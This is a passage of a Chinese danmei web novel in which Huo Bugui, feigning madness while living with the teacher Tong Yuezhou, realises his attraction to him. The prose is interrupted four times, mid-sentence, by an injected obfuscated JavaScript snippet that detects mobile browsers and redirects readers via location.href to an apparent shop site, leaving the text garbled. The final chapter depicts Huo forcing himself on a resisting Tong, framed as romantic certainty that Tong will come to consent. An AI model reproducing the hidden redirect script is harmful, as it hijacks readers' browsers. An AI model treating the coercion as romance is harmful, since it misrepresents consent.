佟月舟吃东西的样子也很斯文,一口一口,细嚼慢咽的。霍不归吃得快,两口就塞嘴里了,吃完了他就看着佟月舟,看他嘴边脸颊慢慢动着,又舔了下嘴唇,好像吃得很香。后来佟月舟不站在那了,拉着他继续逛,他就只能转头去看佟月舟,看他手里举着油纸包,走几步,就咬一口里面的糕,再走几步,又咬一口。
佟月舟问霍不归为什么看他,霍不归一如既往地只笑不答。
这回他不是故意不答了,他是真不知道怎么答,也是真的扬着嘴角放不下。
后来佟月舟的糕也吃完了,两个人又逛了一会儿,也没再买什么,就一起回家去了。
然后莫名其妙,没有理由,不过就是吃了个糕,逛了个街,结果当天回来,霍不归的脚就很奇怪地中邪了。
不在佟月舟身边,那双脚就要发病,麻麻痒痒的呆不住,就想要往佟月舟那边走。
霍不归躺在床上,脑子里兜兜转转的,想自己到底是中的哪门子邪,想半天也没能想出来,又想了会儿,结果想起来了佟月舟说的那句不会不管他的话。
他说他不会不管我,是说无论什么时候都不会不管?
他不可能知道自己是装的,从他的角度看来,自己可是真傻,搞不好一辈子都好不了的那种傻。
那他的意思,就是愿意管自己一辈子?
自己虽然不是真傻,但假设,假设自己是真的,真就这么废人一个地一直傻下去了,那他也愿意管上自己一辈子?
霍不归望着头顶上的床架子,滚了滚喉结,只觉得手上温乎乎的,恍惚间,就好像还在被佟月舟好生牵着。
佟月舟……
他愿意管我一辈子啊。
心里头不知道是忽然被塞进了什么,又酸又涨的,半天也退不下去。霍不归觉得大事不好,应该是脚上的邪又中到胸口去了。
不行,看来离了佟月舟还是不行。
他在楼上,自己在楼下,看,这邪就中得更严重了。
明天得跟他离得再近点儿,再在一起多待上一会儿,把身上中的这邪彻底驱一驱。
玄学大佬霍不归,越想越觉得这事就该这么办。
从他进门开始,就得寸步不离地跟他呆在一起。
嗯,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813402|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就这么定了。
***
陈江海也发现,自家老大最近好像是沉稳了许多。
说沉稳,也不那么恰当。以前老大很多时候也是沉稳的,比如被欠债赌徒磕头哭求的时候,比如琢磨阴招对付竞争对手的时候,比如跟卖主买主面前拒不讲价的时候。但这些时候老大的沉稳,那属于是一种十分阴间的沉稳,感觉再沉稳上几秒钟,这人便会直接耐心耗尽,什么赌徒买主竞争对手,抬手一道雷,全都给劈成灰。
但如今坐在墙角杂物堆上的老大,那副游离于俗事之外的沉静,还有那望着虚空不知焦点在何处的深黑双眸……别说是阴间了,陈江海看在眼里,竟然隐隐地都品出了一丝佛性。
“老大……画像我带来了,您看看?”
陈江海品了一会儿,还是不得不打断了这丝难得的佛性。
毕竟他这回来,是有正事要向霍不归汇报的。
关于傅家灭门案,地方官府那边的调查终于有了一点进展。官差走家串户,遍访十里八乡,终于找到了几个貌似见过嫌疑人的目击者。嫌疑人目前一共有三个,官府按照目击者的描述画了三幅画像,贴遍了周围村镇,也贴到了烟城,然后立刻就被陈江海他们揭下来几张,忙不迭地就来拿给了霍不归。
“我看了,感觉没什么印象,您看您见过这仨人吗?”
陈江海从怀里掏出画像,一张一张展示给霍不归看,霍不归每张扫了一眼,就又继续去看他的虚空了。
“没见过,贴回去吧。”
霍不归说道。
虽然是难得的调查进展,但对霍不归来说,意义不大。
就算事情真像他猜测的那样,是他的买家杀了傅家满门,那这三个人里也不可能有他的买家在。
买寿的价格那可是相当昂贵的,能在他这里买寿的,那都不能是寻常的小富人家。这种人,又怎么可能亲自跑去傅家庄抛头露面地放火杀人,还被人画出像来。画像中的这三人必然是受雇于人的杀手,也必然不会被轻易找到,最坏的结果,搞不好现在都已经是被灭了口了。
甚至霍不归都没有拿出铜钱来卜上一卦。
这倒是不因为这调查进展不算“时运”,主要是这画像实在是画得太差了,说好听了,也就只是大致有个人样的程度,拿给老天看,老天都不知道该把卦象指向谁。
“等等看吧,看还能有什么新的线索出现。另外店也给我看好了,账记清楚,十天拿给我看一回。”
霍不归跳下杂物堆,一挥手,这是会面可以结束了的意思。
“还有之前遇难的那些弟兄,家里都替我安抚好,出手大方点,不用给我省钱。”
“他们原本命不该绝,都是因我才遭了难,死者已矣,他们的身后事,你就都替我办好了吧。”
“明白了老大。”
陈江海看着霍不归身上圣父光辉突突地往外冒,心里暗暗惊异着,不知道老大在佟月舟家到底是受到了什么心灵的洗涤。不过他还是没敢多说什么,只是一欠身,恭恭敬敬把霍不归的话都应了下来,翻墙离开了佟月舟家。
14. 这是什么邪书!
天色洇如淡墨,落雨细如银丝,青瓦房檐下,雨聚成珠,轻轻慢慢,答答滴滴。
霍不归坐在藤椅上,转头看了看花窗外。
他坐的藤椅就是佟月舟书桌旁的藤椅,位置也还是昨晚佟月舟坐过的位置,霍不归手上拿了本书,是佟月舟昨晚看过的书,不过霍不归翻了两下,发现这书一点意思也没有,就又给合上了。
佟月舟怎么还不回来呢。
霍不归百无聊赖地想。
他在佟月舟家也呆了不少日子了。佟月舟每天去学堂讲课,白天基本都是不在家的。但之前霍不归并没觉得白天的时间有多难熬,也没有特别盼着佟月舟回来,就是这几天,也不知怎么,一个人呆在没有佟月舟的家里,就呆得五脊六兽,度秒如年,浑身上下哪哪都不得劲。
哦,也不是一个人,沈伯还是在的。
沈伯不知道在做什么饭,一阵一阵地从楼下传来笃笃笃剁东西的声音。霍不归一边听着那笃笃笃,一边闲极无聊地望着窗外的雨丝,下意识地搓了搓手指,想抽烟,但没有。
他刚才还卜了一卦,反正也没人看见,他就没用瓦片,就用他的铜钱卜的。
他卜佟月舟什么时候回来,卦象说等一会儿。
哎……
霍不归叹了口气,表情有点幽怨。
家里只有自己和沈伯在的时候,那是真的冷清。哪儿都是静静的,一楼也静,二楼也静,卧房也静,书房也静,沈伯那里的刀板声似乎也被淅淅沥沥的雨声隔去了很远的地方,整幢小楼安静得,就连霍不归这种神经大条的糙汉,都莫名冒出了几分感性来。
他觉得他如今,就像是沉在了深潭水底下一样,周围谁也没有,也没人知道他在这儿,水底静得一成不变,就连时间到底在没在走,都已经感觉不出来了。
佟月舟,他也会有这样的感觉吗?
霍不归很深沉地想。
就在过去,这房子里只有他和沈伯,没有自己的时候。
就在他也坐在这张藤椅上,看书,或者是看窗外雨天的时候。
他会不会也觉得冷清?
霍不归十分难得,又共感力爆棚地,竟然是想象出了几分佟月舟的心情。他认真体会了一会儿,忽然又非常自恋地想,自己来到了这个家,可真是件好事。
看,佟月舟就总是跟他聊天,哪怕他忙于装傻都不怎么回应。
他老跟着佟月舟,佟月舟也不烦,照顾他也不烦。佟月舟还喜欢他折的纸,那天折的青蛙小鸟,佟月舟都给摆在书架上了。
佟月舟肯定是喜欢自己陪他的。
就像自己也想跟他一起,听他说话。
霍不归越想越觉得是这么回事,越想心里就越美,越想就越等不及,恨不能直接跑去青竹学堂,能早那么一时半刻地见到佟月舟。他有点坐不住,便从藤椅上站起身,在屋子里转来转去的,又从窗口望向天井那边的户门。而刚一望,恰巧就看见户门打开,一把油纸伞斜了斜,遮着伞下的人进了门里来。
他回来了!
霍不归眼睛一亮,急忙咚咚咚地从楼上跑下去,刚跑到一楼,就见佟月舟站在石阶上抖着雨伞上的水,身上的长衫有半边都湿透了。
听见身后的脚步声,佟月舟回过头来,对霍不归笑了笑。沈伯也从厨房那边过来,手里还拿了块布巾。
“啊啊,啊?”
佟月舟的头发也湿了一片,沈伯给佟月舟擦着,又指指他的衣服,好像是问他怎么回事。
“伞破了,遮不住雨,没事,我去换件衣服。”
佟月舟说着,将伞立在门框边,又接过沈伯手里的布巾自己擦着,便向楼梯那边走去。霍不归当然是跟上,一路紧随着他上楼,又跟进了佟月舟的卧房里。
佟月舟的卧房,霍不归只进过一次,就是那回他故意把粥泼身上,佟月舟带他来换衣服那次。他的卧房摆设很简单,靠里放着一张架子床,床架上系着天青色的帷幔,床铺上铺着干净的白色床单。靠外摆着一个衣柜,一个矮柜,柜子似乎都是梨木的,上面雕花看着做工不错,不过明显是有点旧了。
“哎,你进来了。”
佟月舟刚要解开长衫的扣子,忽然发现霍不归就站在身后不远的地方。
“你先出去等我吧,等我换好衣服,就去陪你。”佟月舟说。
霍不归不出去,没反应,装没听见。
都等了一整天了,还让他等。
不等,就在这儿呆着,他就想看着佟月舟,不然他难受。
“听话。”
佟月舟见他不动,只得又哄他。
“我很快就换好了,你先出去等会儿,乖。”
霍不归还是不动窝,就像根柱子一样站着。
“怎么了?”
佟月舟想了想,感觉他好像有点反常,便走到他面前,认真看了看他的脸。
“是有什么事么?”
没有什么事。
霍不归在心里回答。他也低下眼,目不转睛地看着佟月舟,看他的头发还湿着,一缕一缕的,垂在额前。
头发有点长了,都快垂到眼睛上面了。
霍不归走着神想。
不像平时那么整齐梳着,也挺好看的。
要没戴眼镜就更好了。
皮肤怎么这么白呢。
是因为沾了雨水吗。
霍不归又看向他湿了一半的衣服,突然就觉得不想再憋着不言语了。盼了一天的佟月舟都回来了,他应该跟他说点话才是。
于是他斟酌了一下,伸手拉了拉佟月舟的衣服,说了句,“湿了。”
“嗯,湿了。”
佟月舟一下就笑了。霍不归说话,那可是非常难得,他一说话,就感觉他的病好像又好了点似的。
“我衣服湿了,所以我得换一换,你先在外面等会儿我,我换好就出来。”佟月舟说。
霍不归还是不走,只是看着佟月舟,目光钉在佟月舟脸上,两脚钉在卧房地上,钉得特别牢,佟月舟想推他出去,推了两下,也没能推动。
哎,算了。
佟月舟也没办法。
不愿走就不走吧,反正他也是心智不全的。
身上实在湿得难受,佟月舟无奈笑笑,便留霍不归站在原地,去衣柜里取了套干净衣服,走到了床边。霍不归的视线也跟着佟月舟移向床边,就见他背对着自己将长衫解开脱下,又脱下白色的里衣,一片光洁的后背就这样露了出来。
霍不归是第一次看到,那段漂亮脖颈的下方是怎样的光景。佟月舟身量不宽,清清瘦瘦的,舒展的双肩下线条流畅收拢,勾勒出了一把纤细的腰身,又在那细腰中央勾出了一个浅浅的窝。背上的皮肤和脖颈那里是一样的白皙,宛若一块莹润净透的白玉,处处都是纯净无瑕,就只在脖颈下方,一双蝴蝶骨中间的地方,略略点了一点朱砂。
那是一颗红痣。
霍不归盯着那颗红痣,半天也没能移开目光,佟月舟很快又穿上了干净的里衣,遮起了这一身的玉色,而霍不归仍是愣愣地将目光定在那个方向,直到佟月舟换了裤子,换完鞋袜,他都没敢将视线挪上一挪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813403|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大事不妙。
霍不归此刻无比清晰地感觉到了一件事。
对着佟月舟,他有反应了。
可这不对啊!不对不对!
霍不归猛然回过神来,顿时就被自己给震惊到了。
佟月舟他虽然斯文,但他也不像女人啊!
这人长得就是一副端正的书生样子,眉毛挺浓,鼻梁也挺高,眉宇之间全是正气,戏子小倌身上或多或少的那股子媚劲儿,在佟月舟身上根本一丝也没有!
自己到底是在想什么!
这就是个标标准准的男的!
又呆,又慢,温吞,迟钝,木脑袋,不开窍,不起眼,又无趣……
一点意思都没有的一个男的!
这是真的痰迷心窍了吧!痰迷心窍,湿热过盛,憋大发了,气血虚完了,不然怎么会!怎么会突然就很想……就很想……
……C!
霍不归心里可谓是海沸山摇天翻地覆,不过这份震惊体现在脸上,倒是和装傻殊途同归的呆滞,以至于换好衣服的佟月舟回过头来,也并没发现到霍不归和之前有什么不同。
“沈伯还没做好饭,我们先做点什么呢?”
佟月舟十分自然地将霍不归的手拉起来,领着他走出卧房,走到书桌旁。
“我给你读书吧,好不好?”
好!读!
霍不归在心里咣咣点头。
现在的自己,就正需要佟月舟那些枯燥无聊的书来清心寡欲一下。
佟月舟没听到霍不归回答他,不过他也习惯霍不归不回答了,既然他没有不愿的意思,佟月舟便让霍不归坐在一旁小凳上,自己从书架上挑了一本,坐下来,大概翻了几页。
那些名家典籍,佟月舟觉得霍不归肯定是不感兴趣的,所以他挑书的时候特意思考了一下,最后挑了一本风物志出来。这本风物志名叫《观花笔记》,是讲花卉植物的。花嘛,反正是好看的东西,这本书写得也生动浅显,他感觉霍不归应该会比较爱听。
霍不归坐在小凳上,看着佟月舟把书翻开,憋着一股劲,屏着一口气,满心准备接受佟月舟那些圣贤之道的洗礼。这时就听佟月舟的声音在旁边响了起来——
“湖阳琼花,形似玉蝶,瓣厚而莹,色如羊脂白玉……”
羊脂白玉……
冷不丁听到白玉这词,霍不归屏的那一口气一下子就泄没了,刚才在卧房里的画面忽地一下又冒了出来,好不容易刚消停下去的那玩意儿,这会儿就又开始蠢蠢欲动。
“建宁白莲,瓣白如雪,舌瓣尖缀一点朱红斑……”
朱红斑……
还不等把白玉从脑子里挥走,那点红就又来了。一股邪火在身体里肆无忌惮到处乱窜,霍不归狠狠一闭眼,只想立刻画上道符,把浮在眼前的那红红白白一把都给烧了。
“建兰中有名‘玉枕素’,花茎挺直若碧玉杆,花瓣肥润如白玉糕……”
……
不是佟月舟!你能不能读点健康的书!!
霍不归实在忍不住要抓狂,但又不能真抓,他便只得在心里不停地给自己念清心咒,企图屏蔽掉佟月舟口中的淫|词|浪|语。但念了半天,却依然精神头十足,一点也没有萎靡下来的意思。
佟月舟倒是不负霍不归对他又呆又木又迟钝的评价,只是毫无知觉地读着这本风物志,一边读,还一边和霍不归闲聊,说他见过这种兰花,很漂亮,又说他不太会养花,不然也想养来试试,浑然不觉一旁的霍不归脸色黑着,两腿绷着,整个人几乎已经僵成了一尊石雕。
15. 那又怎么样
夜沉如水,薄云遮月,幽凉的夜雾静静飘荡在烟城的大街小巷。灯火尽熄,万籁俱寂,整座城皆已安然入睡,唯有一人,默默坐在佟家的房檐下,深陷在沉思之中无法自拔。
霍不归望着这方浸没在夜色中的小天井,脑中正在做着一则非常严谨的思考。
——他在想除了那个是人都能想到的原因,还有没有其他更小众,更刁钻,更不容易被发掘到的因素,会导致自己染上这桩一开始是脚,后来又到胸口,现在又窜去了那地方的邪症。
毕竟他觉得这事太不可能了。佟月舟是有点好看,对他也是不错,但他又怎么会因为这点不错就对佟月舟产生那方面想法?!这书呆子根本就没哪里可爱,性格上也完全不符合自己的审美,更何况不算小时候那会儿,长大成人之后,自己根本就没跟他正经相处过多久!
所以不可能,绝对不可能。
这件事一定不简单。
而具体是怎么不简单,霍不归经过一系列缜密的思考,做了各种分析推理,最后也得出了一个确实是一般人想不到的结论——
这事,是因为佟月舟家这户房子,风水不对。
虽然佟月舟是个四柱全阳的命格,连带着他常住的这户房子也都浸染了纯阳的气场,阻隔住了邪祟鬼魅,但这纯阳气场是来源于佟月舟的,并不是这房子本身的风水有多上道。
比如天井中排水渠年久失修流通不畅,就形成了好几处聚阴之所;地上青石砖看排列,原本应该是七七四十九块,但如今西南位上缺失了一块,四十九的阳数,就成了四十八的阴数,于风水流转不利。还有厨房灶台朝向不佳,正房窗户位置偏差,户门门环材质相克,只要霍不归想挑,他能给这房子挑出一千八百个毛病来。
虽然这些聚阴的风水干不过佟月舟旺盛纯粹的阳气,也破不了房子整体的纯阳气场,但他自己的气场,保不齐就是被那排水沟青石砖给破坏的!
对,肯定是这样,他在这房子里呆久了,气运五行给搞紊乱了,所以不知不觉的,他就中邪了!
霍不归越想越觉得这个结论非常靠谱,于是他便一不做二不休,霍地站起身,抬起手,用那覆着黄泉印的手指在虚空中点点划划,幽黑的夜色中顿时就现出了两道泛着淡淡金光符咒来。
霍不归画的这道符,名叫“九宫转气符”,是调整|风水时常会用到的符咒。宅院风水不佳,多是由于建筑构造布局不妥。而改变建筑布局常常需要大兴土木,并不是轻易就能办到的。所以在布局不好变动的时候,这道九宫转气符就很能派上用场了。
简单来说,这道符的作用就是在不改变阴气产生原因的情况下,将生出的阴气直接转换为阳气。阴气阳气,其本质上皆为混沌之气,只不过由于其中蕴含的不同能量气场,方才产生了阴阳之分。阴阳能量有如磁铁两极,相生相伴,不可分割,利用符咒之力改变其中阴阳纠缠的频率,便可将太极扭转,化阴为阳。
而调改风水这事,对于霍不归这个天生神棍来说是小菜一碟了。只见他站在天井中央,手稍稍一挥,一道符便飞去积水的暗沟中,一道符则飞去了缺砖的地面上,两道符很快便融进了土石之内,渐渐隐去了金光。
霍不归看着金光消失,手指继续在虚空中游动,转瞬间又是几道符成。符咒飘浮在半空之中,荧荧散发着浅淡的光芒,又有如通灵的神兽一般,在霍不归随意几个指点之间听话地飞去了厨房,飞去了正屋,飞去了户门、楼梯、屋顶,甚至还有小楼后的那条堆着杂物的窄缝里。
佟月舟家没有多大,不消片刻,霍不归便差不多将聚阴的地方都转了阴阳。方才金光四散的小院落,很快又回归到了那最初时的宁静,但似乎却又多了什么难以名状的东西,在房屋间、天井内隐隐流动着,似有似无,辨不明晰,明明哪里都还是原来的模样,然而身在其中,却又只觉耳清目明,仿佛周身的一切,都已经全部焕然一新。
很好。
霍不归环视着这方小天井,对自己的改造成果十分满意,感觉心里那乱七八糟的念头,也都被这充沛的阳气净化升华了。
这才是对的,这才是正常的。看,没有那些聚阴之处破坏自己的完美气场,不是就什么事都没有了吗。
霍不归手臂一抱,嘴角一挑,浑身都是大写的神清气爽。
区区一个书呆子佟月舟,又怎么可能会让自己动春心,生邪念。
不可能,简直天方夜谭。
霍不归心情舒畅着,转身回了自己的房间,当晚踏踏实实地睡了一觉,连梦都没有做。第二天,他与往常一般无二地和佟月舟吃了个早饭,又和平时一样闲极无聊地度过了十分普通的一天。晚上佟月舟按时回来了,简单吃过晚饭,又单方面地和他聊了会儿天,最后说他今天该洗个澡……
然后现在,他正坐在澡盆里怀疑人生。
而佟月舟则站在澡盆外,拿着布巾的手顿在半空,表情有点怔愣。
霍不归是挺不要脸的,但他终归还是没不要脸到这个程度,就这么明明白白地立在佟月舟眼前,还能泰然自若,满不在乎。
他现在非常不泰然,非常不自若,但他也实在不知道该怎么抢救一下这个尴尬的场面。
那玩意儿它不听话,佟月舟拿着布巾在身上擦了擦,它噌地一下就来了精神,不管不顾,耀武扬威的,一没留神还蹭到了佟月舟的手。然而霍不归尽管脸皮已经掉地上了,到底还是没敢遮着它,捂着它,或者是抖点什么机灵来把脸皮捡一捡。
要是这么干了,那就显得脑子有点太清楚了,万一引得佟月舟怀疑什么,那他也是真不知道该怎么圆。
霍不归动了下腿,水面跟着稍稍漾了漾,他觉得他应该继续用傻笑把这事抹和过去,但他实在是笑不出来。
其实本来他也有点含糊,想着要不要再换沈伯来给他洗澡。但一来换人这事他不能直接表达,就只能再像上次一样瞎闹,如今再跟佟月舟面前表演疯疯癫癫……不知怎么,他不太愿意。
二来他也觉得男子汉大丈夫光明磊落,如果真不让佟月舟来,那不就等于承认自己心里有鬼吗?
他没鬼,他已经把整个房子的风水都调理得棒棒的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813404|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,他自己的风水肯定也是没一点问题。
结果事实证明,自信还是不能太盲目。
如今霍不归就在澡盆里十分端庄地坐着,眼神稍许放空,表情比较沉静,心情也没什么特别的心情,就是觉得有点看破红尘。
澡盆外的佟月舟当然是看见了也感觉到了,他愣了一会儿,便放下停在半空的手,心里很快地也就想通了。
也没什么想不通的。霍不归他是脑子坏了,又不是那儿坏了,从身体上来讲他就是个二十来岁的正常男人,有生理反应,也没什么稀奇的。
佟月舟低头笑了一下,觉得有点不好意思,但又觉得也不用怎么不好意思,便特意不再往那边看,用布巾撩了撩水,继续给霍不归擦身子。
布巾热乎乎地擦上皮肤,霍不归皮肉微微颤了颤,视线总算聚上点焦,但没敢往佟月舟脸上落。
“羞不羞。”
他听到佟月舟说。
佟月舟的声音不大,语气是一贯的温和,尾音还带着点微扬笑意。霍不归听着,就仿佛耳朵边轻飘飘地拂过了根羽毛,痒痒的,又特别舒服,让人很想教那羽毛再飘一回,结果低头一看,那羽毛已经轻巧巧落在心尖上了。
霍不归悄悄抬眼,瞄了眼佟月舟。佟月舟正给他擦着前胸,感觉到他的视线,也看过来一眼,随后睫毛一垂,又是浅浅一笑。
那笑并不尴尬,也没有嘲弄,笑容里面简简单单,干干净净的,就好像这也没什么大不了的。
霍不归一下子就愣在那了。
在佟月舟面前,他已经是毫无形象可言了。所有的面子都丢完了,这辈子的洋相也出尽了,赤赤条条的,连裤子也都扒了个干净……
却好像……也没什么大不了的。
他还是这样对自己笑着,仿佛这都没什么关系,又仿佛他们两个相处多年,早已经亲密到了这样的程度。
霍不归望着佟月舟那浅浅含笑的模样,只觉得某根弦啪地一断,心里头忽然一片空白的,就只浮现出了两笔浓墨大字——
完了。
其实也不是愚笨不懂,不过就是死撑着不想承认。
这能有风水什么事,也根本不是什么阴气破了气场。
没有任何小众的,刁钻的,一般人挖掘不到的原因,他也没得那个从头到脚都治不好的邪症。
他就是想和佟月舟好。
满心,满脑子,身上每一根骨头,每一寸皮肉,都想和他好。
哪怕这人又呆,又迟钝,又温吞,又无趣……
……也想和他好。
……
那又怎么了。
那又怎么了?!
霍不归心里一个咯噔,突然间就生出了一股子奇奇怪怪的豪迈,腾地一下,光着屁股,卷着水花,稀里哗啦地就从澡盆里站了起来。
有什么不行的,谁不让了,又没犯法,谁管得着我!
佟月舟,就这个又呆又木又迟钝的佟月舟!
就这个无聊无趣还看邪书的佟月舟!
老子霍不归,就要跟他好了!
16. 此刻的沉默
霍不归刚站起来,就又被佟月舟按回去了。
佟月舟当然不知道霍不归正在进行着怎样的心理活动,这人冷不丁站起来,给他吓了一跳,不过他也并没多想什么。霍不归毕竟是傻的嘛,傻子做点不合常理的事情也没什么奇怪的,佟月舟是这样认为的。
而霍不归又坐回澡盆里,看着面前的水汽氤氲,忽然就觉得一切都光亮顺溜起来了。跌面儿,不存在,光屁股,没关系,下边怎么着,无所谓,反正他们早晚都要好上,俩人早晚都得是这么回事。
他也没太想佟月舟如果不乐意怎么办,在他想通开窍的那一刻,他直接就默认了佟月舟也是乐意的,现在不乐意,过两天也会乐意,他决定了要和佟月舟好,那他们两个就必然能好,没其他可能。
所以当晚他洗完了澡,直接就跟着佟月舟去了二楼卧房,去了之后就赖着不走了。
“怎么了?”
佟月舟想领他回他的房间,领了半天没领动,只得问他,又哄他。
“怎么不走呢?时候晚了,该睡觉了。”
“快去睡吧,睡晚了明天起不来,可就没有早饭吃了。”
“你好好睡觉,明天我就多陪你玩一会儿。”
“或者再找一本有趣的书读给你听,好不好?”
霍不归才不想听什么鬼书,他站着不动,也不说话,就盯着佟月舟发意念波,心里急着想让佟月舟赶紧明白他的意思。只可惜佟月舟的脑子没有发育出接受意念波的功能,他读不懂霍不归是什么意思,更猜不到他赖着不走的原因。他迎着霍不归的视线,眼神呆愣得十分清澈,看样子是在疑惑他今天到底是怎么了。
见自己的信号是半点也发不过去,霍不归满心都是无语,没办法,只得开口提醒了几个字。
“一起睡。”霍不归说道。
“一起睡?”
佟月舟的表情果然是一点也没想到的惊讶。
“怎么?你自己睡害怕么?”
害怕……这是真把他当三岁小孩了啊。
霍不归在心里啧了一声,但辩解起来也是麻烦,索性胡乱点了下头。
佟月舟见他点头,一下就笑了。在他眼中,霍不归虽然脑子不好了,行为时常会有点奇怪,但其实从外表看也并没有那么不正常,真说起来,就仍是个全须全尾的大男人。老大的个子,模样还挺利落英气的,结果自己睡觉居然会害怕,这反差让佟月舟一下子心里头就有点软,眼里头的人,也莫名可爱了起来。
他忍不住捏了下霍不归的脸,又把他的手拉了起来,笑道:“那我多陪你一会儿,等你睡着了我再走,好不好?”
好屁。
佟月舟越笑,霍不归心里就越有点烦躁。
因为佟月舟一笑就很好看,很温柔,很让人心动,让霍不归很想什么也不管立刻马上就把他扑到床上去。
不行,还是忍一忍,再忍一忍,不能太急,别把他吓着。
霍不归这样想着,便尽可能绷着冲动,也绷着表情,又机械地重复了一遍,“一起睡。”
“我们两个一起睡,这不成体统。”
可爱虽然可爱,但道理还是得讲,佟月舟仍是很耐心地跟他说。
“你看,你,我,沈伯,我们每个人都有一个房间,我们每天都要回去自己的房间睡觉,这才合规矩,弟子规有云,居有常,业无变,你说是不是这个道理?”
是什么玩意儿是。
不知道是不是教书先生都是这样,佟月舟对霍不归的耐心简直就像滔滔江水连绵不绝,多得霍不归都没有耐心应对他的耐心了。继续拉来扯去的太耽误工夫,霍不归实在懒得磨叽了,干脆脱开佟月舟的手,转身走到佟月舟的床边,一屁股坐下,直接躺了进去。
“哎……!”
佟月舟一下没拦住,忙跟到了床边,可霍不归已然是结结实实躺下了,人高马大的一大只横在那,佟月舟也是拖不起来他。
而且他还很周到地躺在里面,给佟月舟留出了一块位置。
佟月舟看看他给自己留的地方,满心无奈着,却也再没什么办法。说也说不听,拉也拉不动,佟月舟在床边呆站了一会儿,也只得叹口气,随他去了。
“那……暂且就这样睡一晚,明天就回自己房间睡吧。”
佟月舟说着,脱掉外衣,只剩下里衣,坐去床上将被子拉过来,给霍不归盖上了一半,然后自己躺下,盖上了另一半。
然而被子还没盖瓷实,旁边那人忽地一个翻身,一双手臂毫无防备间便将他圈了起来。一颗毛乎乎的脑袋挤进颈边,温热的呼吸伴随着粗重的喘息不由分说地喷在敏感的皮肤上,直激得佟月舟起了一片鸡皮疙瘩,半边身子都酥麻了起来。
“哎!霍不归……!”
佟月舟一惊,条件反射地便挣扎起来,撑着两手就要把霍不归推开,可这人力气实在太大,佟月舟怎么推,都推不开他那铁钳子一样的手臂。
“你放开!你干什么!”
佟月舟顿时惊慌起来,挣扎着叫道。
霍不归不放开。他赖着不走,又非得要和佟月舟一起睡,还能是干什么,他就是要和佟月舟干这个。
不过就在片刻之前,他都还没想搞这么突然。直接硬上,确实是不文明不礼貌,他又不是真傻,他当然知道但凡要干这事,还是得先谈谈爱调调情,气氛到了,才能水到渠成。
可问题是真傻假傻都是傻,作为一个傻子,他要怎么去跟佟月舟调情??
这戏码太复杂了,霍不归实在是编不出来,他也没那么专业的演技。刚刚想通的心情正在兴头上,下边火烧火燎地就快要烧成火海,佟月舟往身边一躺,一阵温热的体香往鼻间一飘,霍不归一颗脑袋立时就轰地一热,下一秒便手比脑子快地直接把人箍进了怀里,一头扎进了那团香气之中。
佟月舟……他竟然真的是香的。
有一点皂角味,但更多的,是霍不归也辨不出的味道。
……好香。
怎么会这么香……
这么香……
幻药一样的气息将感官完全没入其中,惹人迷乱,教人晕眩。霍不归只觉脑子已经炸成了一片混沌粘稠,什么都再管不得,什么也都再思考不了,就只想将怀里这个人揉成团,搅出水,囫囵全都吞下肚去。身体仿佛被火烧水煮一般,裹在一团焦灼之中,急着想要寻一个纾解,霍不归实在忍不得这燥热,毫无章法地就想要把那层碍事的布料扯开,而迷糊间却只听“啪”的一声脆响,紧接着左边脸颊便火辣辣地疼了起来。
霍不归被这突如其来的一巴掌打得有点懵,克制不住的冲动总算是被按了一下暂停。只见佟月舟一脸涨红的怒意,猛地一把力将他推开,攥起胸前的衣襟翻下床去,鞋也没穿好,跌跌撞撞地就跑出了卧房。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813405|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛊人的香气散没了,本来满满当当的怀里头也空了,霍不归保持着被推开时的姿势,涌在脑袋里的血一点一点回流下去,半天,人才终于算是冷静了一点。他坐正身子,又低头看看已经被折腾得一塌糊涂的床单,伸手搓了把脸,千思万绪、千言万语交杂在心里盘盘卷卷,最后都汇聚成了一个字:
操。
***
佟月舟倒也没跑多远。家里拢共就这么大点地方,他满心羞愤地夺门而出,而后也就是穿过了书房,跑下了楼梯,在熄了灯烛的厅堂里慢下脚步,最后坐在了八仙桌旁的一张木椅子上。
